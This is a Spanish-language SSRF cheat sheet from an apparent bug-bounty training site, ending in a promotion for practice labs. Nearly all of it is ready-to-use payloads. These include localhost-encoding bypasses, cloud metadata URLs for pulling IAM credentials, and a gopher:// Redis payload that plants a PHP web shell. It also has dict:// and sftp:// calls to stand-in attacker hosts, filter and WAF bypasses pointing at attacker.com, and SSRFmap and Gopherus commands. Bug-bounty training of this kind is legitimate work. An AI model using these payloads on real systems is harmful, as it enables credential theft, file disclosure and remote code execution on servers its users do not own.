Cheatsheet SSRF

Server-Side Request Forgery

Referencia rápida

  • Siempre probar representaciones alternativas de 127.0.0.1: decimal, octal, hex, IPv6
  • AWS IMDSv2 requiere token previo via PUT - IMDSv1 es accesible directamente
  • Redirect 302 desde servidor propio puede bypassear filtros de protocolo (http -> file://)
  • El protocolo gopher:// permite interactuar con casi cualquier servicio TCP interno
  • Buscar SSRF en parametros de URL, webhooks, integraciones, importacion de archivos y parsers de imagenes/PDF

Bypass de localhost

IPv4 basico

http://127.0.0.1:80

IPv4 abreviado

http://127.1:80

Cero como localhost

http://0

IPv6 localhost

http://[::]:80/

IPv6 full

http://[0000::1]:80/

Decimal bypass2130706433 = 127.0.0.1 en decimal

http://2130706433/

Octal bypass

http://0177.0000.0000.0001

Hexadecimal bypass

http://0x7f000001/

DNS rebinding y resolucion

nip.io wildcard

http://127.0.0.1.nip.io

localtest.meResuelve siempre a 127.0.0.1

http://localtest.me

Spoofed collaboratorConfigurar DNS record apuntando a 127.0.0.1

http://spoofed.burpcollaborator.net

Unicode dotsFullwidth dots que algunos parsers no reconocen

http://127。0。0。1

Enclosed alphanumeric

http://①②⑦.⓪.⓪.⓪

Cloud metadata endpoints

AWS IMDSv1 - credenciales IAM

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]

AWS - user-data

http://169.254.169.254/latest/user-data

AWS - hostname

http://169.254.169.254/latest/meta-data/hostname

Google CloudRequiere header Metadata-Flavor: Google

http://metadata.google.internal/computeMetadata/v1/

AzureRequiere header Metadata: true

http://169.254.169.254/metadata/instance?api-version=2017-04-02

Digital Ocean

http://169.254.169.254/metadata/v1.json

Oracle Cloud

http://192.0.0.192/latest/meta-data/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/

Protocolos alternativos

file:// - lectura de archivos

file:///etc/passwd

dict:// - interaccion TCP

dict://attacker:11111/

gopher:// - raw TCP (Redis RCE)Requiere soporte de gopher en el servidor

gopher://localhost:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22

sftp://

sftp://evil.com:11111/

ldap://

ldap://localhost:11211/%0astats%0aquit

file:// con bypass de extensionEl ? evita validaciones de extension de archivo

file:///etc/passwd%3F/

Bypass de filtros de dominio

Credentials en URL

https://{domain}@attacker.com

Subdominio del atacante

https://{domain}.attacker.com

Fragment bypass

https://attacker.com#{domain}

Null byte

https://attacker.com%00{domain}

Backslash trick (WHATWG)WHATWG trata \ como / pero RFC3986 no

http://attacker.com\@{domain}

Parameter pollution

next={domain}&next=attacker.com

Bypass de WAF

WAFTécnicaPayload
Filtro IP 127.0.0.1
Representacion decimal
http://2130706433/
Filtro IP 169.254.*
IPv6-mapped IPv4
http://[0:0:0:0:0:ffff:169.254.169.254]/
Filtro de protocolo
Redirect 302 a file://
http://attacker.com/redirect -> file:///etc/passwd
Filtro de dominio
DNS rebinding
http://1ynrnhl.xip.io (resuelve a 169.254.169.254)
Validacion URL
Backslash trick WHATWG
http://attacker.com\@allowed-domain.com
Filtro regex
Enclosed alphanumeric Unicode
http://ⒶⓉⓉⒶⒸⓀⒺⓇ.ⒸⓄⓂ

Herramientas

SSRFmap

Framework de explotacion SSRF automatizado con multiples modulos

python3 ssrfmap.py -r request.txt -p url -m readfiles

Gopherus

Genera payloads Gopher para Redis, MySQL, FastCGI, Memcache y SMTP

python3 gopherus.py --exploit redis

Interactsh

Servidor de callbacks OOB para confirmar SSRF blind via DNS/HTTP

interactsh-client -v

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras